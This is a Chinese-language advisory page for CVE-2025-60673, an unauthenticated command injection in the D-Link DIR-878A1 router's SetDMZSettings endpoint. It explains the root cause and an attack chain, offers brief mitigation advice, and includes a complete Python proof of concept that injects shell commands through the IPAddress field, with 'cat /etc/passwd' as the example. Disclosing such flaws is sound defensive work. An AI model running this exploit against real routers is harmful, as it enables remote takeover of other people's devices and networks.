IPBUF安全漏洞报告
English
CVE-2025-60673 CVSS 6.5 中危

D-Link DIR-878A1路由器SetDMZSettings未认证命令注入漏洞(CVE-2025-60673)

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-60673
漏洞类型
远程代码执行/命令注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR-878A1路由器固件FW101B04.bin

相关标签

命令注入未认证RCED-Link路由器漏洞CVE-2025-60673SetDMZSettingsNVRAMtwsystemlibrcm.soIoT安全

漏洞概述

CVE-2025-60673是D-Link DIR-878A1路由器固件中的一个严重安全漏洞,属于未认证命令注入类型。该漏洞存在于路由器的SetDMZSettings功能中,攻击者可以通过精心构造的HTTP请求注入恶意命令。漏洞的根本原因在于程序对用户输入的IPAddress参数缺乏充分的输入验证,该参数被直接存储到NVRAM中,随后被librcm.so库用于动态构造iptables防火墙命令。由于构造的命令通过twsystem()函数执行,且整个过程无需任何认证,攻击者可以直接从网络远程利用此漏洞获取设备的完全控制权。此漏洞的CVSS评分为6.5,属于中等严重程度,但考虑到攻击复杂度低且无需认证,其实际威胁程度不容忽视。攻击者成功利用此漏洞可以在路由器上执行任意系统命令,可能导致敏感信息泄露、路由器功能瘫痪或将其作为进一步攻击内网的跳板。

技术细节

该命令注入漏洞的技术原理涉及多个组件的协同作用。首先,漏洞入口点位于prog.cgi的SetDMZSettings处理函数,该函数接收HTTP请求中的IPAddress参数。在正常的固件流程中,这个IP地址应该被验证为有效的IP地址格式,然后存储到NVRAM中供后续使用。然而,程序缺少对IPAddress参数的严格输入验证机制,允许攻击者注入任意命令分隔符和系统命令。存储在NVRAM中的恶意数据随后被librcm.so库读取,该库负责构建iptables规则以配置DMZ(隔离区)功能。问题在于librcm.so在构造iptables命令时,直接将NVRAM中的IPAddress值拼接到命令行中,而没有进行任何转义或安全检查。最终,包含恶意代码的命令字符串被传递给twsystem()函数执行,该函数会直接调用系统shell来解释执行命令。由于twsystem()使用/bin/sh执行命令,攻击者可以利用分号、管道、反引号等shell元字符来实现命令注入。攻击者只需要发送一个带有恶意IPAddress参数的HTTP POST请求即可触发漏洞,无需任何认证凭证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标D-Link DIR-878A1路由器,确认其运行固件FW101B04.bin版本,并探测prog.cgi端点的可达性
STEP 2
步骤2: 构造恶意请求
攻击者构造包含命令注入payload的HTTP POST请求,将恶意命令附加到IPAddress参数中,使用分号等shell元字符分隔原命令和注入命令
STEP 3
步骤3: 发送利用请求
无需任何认证,直接向路由器的/prog.cgi端点发送构造好的POST请求,触发SetDMZSettings处理函数
STEP 4
步骤4: 命令执行
恶意IPAddress值被存储到NVRAM后,librcm.so读取该值并将其直接拼接到iptables命令字符串中,通过twsystem()函数调用系统shell执行,最终实现任意命令执行
STEP 5
步骤5: 持久化控制
攻击者可执行任意系统命令,可能安装后门、窃取网络流量、劫持DNS或利用路由器作为跳板攻击内网其他设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60673 PoC - D-Link DIR-878A1 SetDMZSettings Command Injection This PoC demonstrates unauthenticated command injection in D-Link DIR-878A1 router. """ import requests import sys def exploit(target_ip, injected_command="echo vulnerable > /tmp/pwned"): """ Exploit the SetDMZSettings command injection vulnerability. Args: target_ip: IP address of the vulnerable D-Link router injected_command: Command to execute on the target device """ # Target URL for the vulnerable prog.cgi endpoint url = f"http://{target_ip}/prog.cgi" # The malicious payload exploits the IPAddress parameter # We inject a command by adding shell metacharacters after the IP address # The format typically requires a valid-looking IP prefix followed by command injection payload = { "SetDMZSettings": "1", "IPAddress": f"127.0.0.1;{injected_command} #", "enable": "1" } print(f"[*] Target: {target_ip}") print(f"[*] Sending malicious request...") print(f"[*] Payload: {payload}") try: # Send POST request without authentication response = requests.post(url, data=payload, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit likely successful - check if command was executed") else: print("[-] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [command]") print(f"Example: {sys.argv[0]} 192.168.0.1 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "echo PWNED" exploit(target, command)

影响范围

D-Link DIR-878A1 固件版本 FW101B04.bin

防御指南

临时缓解措施
目前没有已知的临时缓解措施可以完全防御此漏洞。禁用DMZ功能可能无法阻止攻击,因为攻击者可以直接调用SetDMZSettings来重新启用。建议用户尽快应用官方发布的安全更新或补丁。如果官方固件不可用,可以考虑暂时禁用路由器的远程管理功能,仅通过物理连接的本地网络访问管理界面,并将管理界面绑定到特定的受信任IP地址范围,以减少暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表